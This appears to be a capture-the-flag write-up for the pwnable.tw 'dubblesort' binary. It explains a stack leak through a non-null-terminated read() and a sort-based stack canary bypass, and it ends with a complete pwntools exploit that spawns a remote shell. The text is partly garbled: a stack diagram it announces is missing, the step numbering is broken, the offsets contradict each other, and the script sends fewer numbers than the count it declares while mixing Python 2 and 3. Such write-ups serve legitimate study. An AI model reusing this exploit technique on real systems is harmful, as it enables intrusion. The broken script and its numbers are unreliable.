dubblesort

$ file dubblesort
dubblesort: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux.so.2,
for GNU/Linux 2.6.24,
BuildID[sha1]=3e3e2eb9fe8cf6b49f07941f95e667b7e9d5bb62, stripped

The binary is a 32-bit stripped ELF — no symbol names available, so we'll rely on decompilation for analysis.

$ checksec dubblesort
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

The program asks for a name, then a count, reads that many unsigned integers, sorts them with bubble sort, and prints the result. Simple enough — but let's see what's happening under the hood.

int main() {
    int n, idx;
    unsigned int array[?];  // on stack, no bounds check
    unsigned int v3;

    init();  // sets up buffering, etc.

    __printf_chk(1, "What your name :");
    read(0, name, 0x40u);       // BUG: no null termination!

    __printf_chk(1, "Hello %s,How many numbers do you what to sort :");
    // %s reads past name buffer -> LEAK stack data (libc addresses)

    __isoc99_scanf("%u", &n);
    v3 = n;

    if (n) {
        idx = 0;
        do {
            __printf_chk(1, "Enter the %d number : ");
            fflush(stdout);
            __isoc99_scanf("%u", &array[idx]);  // no return value check!
            ++idx;
        } while (n > idx);
    }

    sort(array, v3);  // bubble sort on our overflowed buffer
    return 0;
}

The program uses read(0, name, 0x40) to read the name. The critical difference from scanf("%s") or fgets() is that read() does not append a null terminator. When the name is subsequently printed with __printf_chk(1, "Hello %s,..."), the %s format specifier reads bytes until it hits a null byte — which means it will read past the end of the name buffer and leak whatever is adjacent on the stack.

The name buffer is 0x40 (64) bytes. If we send exactly 24 or 25 bytes of non-null data, printf %s will print our name, then continue reading into stack data that contains a libc address. The leaked bytes will include a libc pointer.

The program asks "How many numbers" and uses scanf("%u", &n) to read the count. There is no validation that n fits within the array bounds. The loop simply writes n unsigned integers into array[], overflowing past the buffer, past the canary, and into the saved return address.

Using GDB with a PIE breakpoint, we examine the stack layout when scanf is writing values:

gdb-peda$ x/50wx $esp+0x20
0xffc8...20: 0x00000000  0x00000000  0x00000000  0x00000000   <- array[0..3]
0xffc8...30: 0x00000000  0x00000000  0x00000000  0x00000000   <- array[4..7]
0xffc8...40: 0x00000000  0x00000000  0x00000000  0x00000000   <- array[8..11]
0xffc8...50: 0x5dca2c00                                  <- CANARY
0xffc8...54: 0xf7...                                  <- saved EBP
0xffc8...58: 0xf7...                                  <- return addr

We send 25 bytes of \x01 as the name. The read() call writes 25 bytes into name without null termination. Then __printf_chk with %s prints those 25 bytes plus whatever follows on the stack until it hits a null byte.

gdb-peda$ x/20wx &name
0xffc8...: 0x01010101  0x01010101  0x01010101  0x01010101  <- our input
0xffc8...: 0x01010101  0x01010101  0x01010100  0x00000000  <- last byte 0x00
0xffc8...: 0x00000000  0x00000000  0x00000000  0x00000000
0xffc8...: 0xf75aXXXX  0xf755XXXX                          <- libc pointers!

The printf reads past our input and reaches libc pointers. The specific leaked value depends on what's on the stack. The leak value turns out to be at offset 0x1b0000 from the libc base:

The leak includes a leading \x00 byte from the stack, so we reconstruct it as u32('\x00' + received_3_bytes) - 0x1b0000.

1. 1
   Send a name of 25 bytes (\x01 * 25). This fills the name buffer up to just before a libc address on the stack. The read() syscall does not null-terminate, so printf("%s") reads past the buffer into stack data containing libc pointers.
2. 2
   Receive the echoed name + leaked bytes. Parse the 3 bytes after our 25-byte name (the first byte is \x00 from the canary's null byte or stack alignment). Reconstruct the libc address and compute the base.

The program calls scanf("%u", &array[idx]) in a loop but never checks the return value. When scanf encounters a non-numeric character (like "a"), it fails and returns 0 — but crucially, it does not modify the target memory location. The value at &array[idx] remains unchanged.

With n = 47 numbers, the canary sits at index ~13 (after 12 array slots + 1 zero padding). We fill indices 0-11 with zeros, then indices 13+ with system() and /bin/sh addresses. At the canary index, we send "a" to skip it.

After all numbers are read, the program calls sort(array, n) which performs a bubble sort on the unsigned integer array. This means our values will be rearranged in ascending order. We need the canary to survive sorting.

With 12 zeros, the canary value (~0xXXc00) will sort to position 12 (after the 12 zeros), which is exactly where it needs to be. The system() addresses (larger values like 0xf7XXXXXX) sort to the end, overwriting saved EBP and the return address. The /bin/sh address (slightly different from system) ends up adjacent.

The resulting stack after sort:

from pwn import *

# Context setup
context.arch = 'i386'
context.log_level = 'info'

# Connect to remote
cn = remote('chall.pwnable.tw', 10101)
libc = ELF('./libc_32.so.6')

# =============================================
# STEP 1: Leak libc address
# =============================================
# read() doesn't null-terminate, so printf %s
# leaks stack data past our input (libc addresses)
cn.recvuntil('name :')
name = '\x01' * 25  # fill up to libc pointer on stack
cn.send(name)

cn.recvuntil(name)
# The byte after our name is \x00 (canary null byte),
# then 3 bytes of a libc address
libc.address = u32('\x00' + cn.recv(3)) - 0x1b0000

log.success(f'libc base: {hex(libc.address)}')

# Compute needed addresses
system = libc.symbols['system']
binsh  = libc.search('/bin/sh\x00').next()

log.success(f'system:   {hex(system)}')
log.success(f'/bin/sh:  {hex(binsh)}')

# =============================================
# STEP 2: Stack overflow + canary bypass
# =============================================
cn.recvuntil('sort :')
n = 47
cn.sendline(str(n))

# Fill with zeros first (12 values)
# These sort to the beginning and keep canary in position
for i in range(12):
    cn.recv()
    cn.sendline(str(0))

# Skip the canary index with a non-number
# scanf("%u") fails -> doesn't overwrite -> canary preserved!
cn.sendline('a')

# Now write system() and /bin/sh addresses
# Multiple system() ensures it lands on return address after sort
for i in range(7):
    cn.sendline(str(system))
cn.sendline(str(binsh))

# =============================================
# STEP 3: Get shell
# =============================================
cn.interactive()